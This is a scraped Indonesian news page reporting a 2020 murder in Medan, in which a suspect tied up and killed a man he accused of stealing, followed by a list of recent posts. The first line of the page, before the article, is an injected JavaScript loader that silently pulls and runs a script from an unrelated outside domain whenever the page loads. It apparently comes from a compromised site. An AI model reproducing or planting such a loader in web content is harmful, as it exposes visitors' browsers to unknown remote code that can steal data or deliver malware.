(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

SADIS. Dituduh Mencuri, Korban Diikat dan Digorok di Rumah Pelaku


KANALKALIMANTAN.COM, MEDAN, Polisi meringkus warga bernama Muhammad Antoni Akbar alias Toni lantaran dianggap menjadi pelaku pembunuhan terkait kasus penemuan mayat mayat di pinggiran Sungai Denai, pada Sabtu (14/3/2020).

Wakapolrestabes Medan, AKBP Irsan Sinuhaji mengatakan, peristiwa berawal saat pelaku melihat korban melintas di area gubuknya yang berada di pinggiran Sungai Denai, Jumat (13/3/2020). Pelaku lalu memanggil korban dan menanyakan apakah korban mau mencuri.

PERINGATAN: Berita ini berisi konten kekerasan. Penjelasan aksi pelaku semata untuk menjelaskan kronologi kasus pembunuhan. Bukan untuk menginspirasi aksi kekerasan yang sama. Jika menemukan adanya pelanggaran hukum, segera lapor kepada polisi terdekat.

Pelaku lalu membawa korban yang dituduhnya mencuri ke dalam gubuknya. Di situ, pelaku menginterogasi korban dengan tangan dan kaki terikat. “Korban ditiarapkan ke lantai dan pelaku lalu menggorok leher korban menggunakan pisau. Motifnya karena merasa korban ingin mencuri,” katanya seperti dikutip dari Kabar Medan–jaringan Suara.com, mitra media Kanalkalimantan.com, Selasa (17/3/2020).

Setelah mendapatkan laporan warga terkait penemuan jasad korban, polisi langsung melakukan penyelidikan di lokasi. Namun, polisi mencurigai seorang lelaki yang melarikan diri dari gubuknya yang ada di pinggiran sungai.

“Petugas yang curiga sempat melakukan pengejaran, namun pelaku berhasil kabur. Petugas menemukan bekas ceceran darah dan pisau di gubuk itu,” ujarnya.

Petugas yang melakukan penyelidikan menangkap pelaku pada Minggu (15/3/2020) sekitar pukul 05.30 Wib. “Pelaku ditangkap saat bersembunyi di rumah kerabatnya, di Jalan Bantan, Medan Tembung,” jelasnya.

Pelaku dipersangkakan dengan Pasal 338 Jo Pasal 340 KUHP, dengan ancaman hukuman mati atau kurungan penjara seumur hidup. Irsan mengimbau, bagi masyarakat yang kehilangan anggota keluarga berjenis kelamin laki-laki dengan umur sekitar 24 tahun agar melapor ke pihak berwajib. “Sampai saat ini status korban Mr X,” kata dia. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.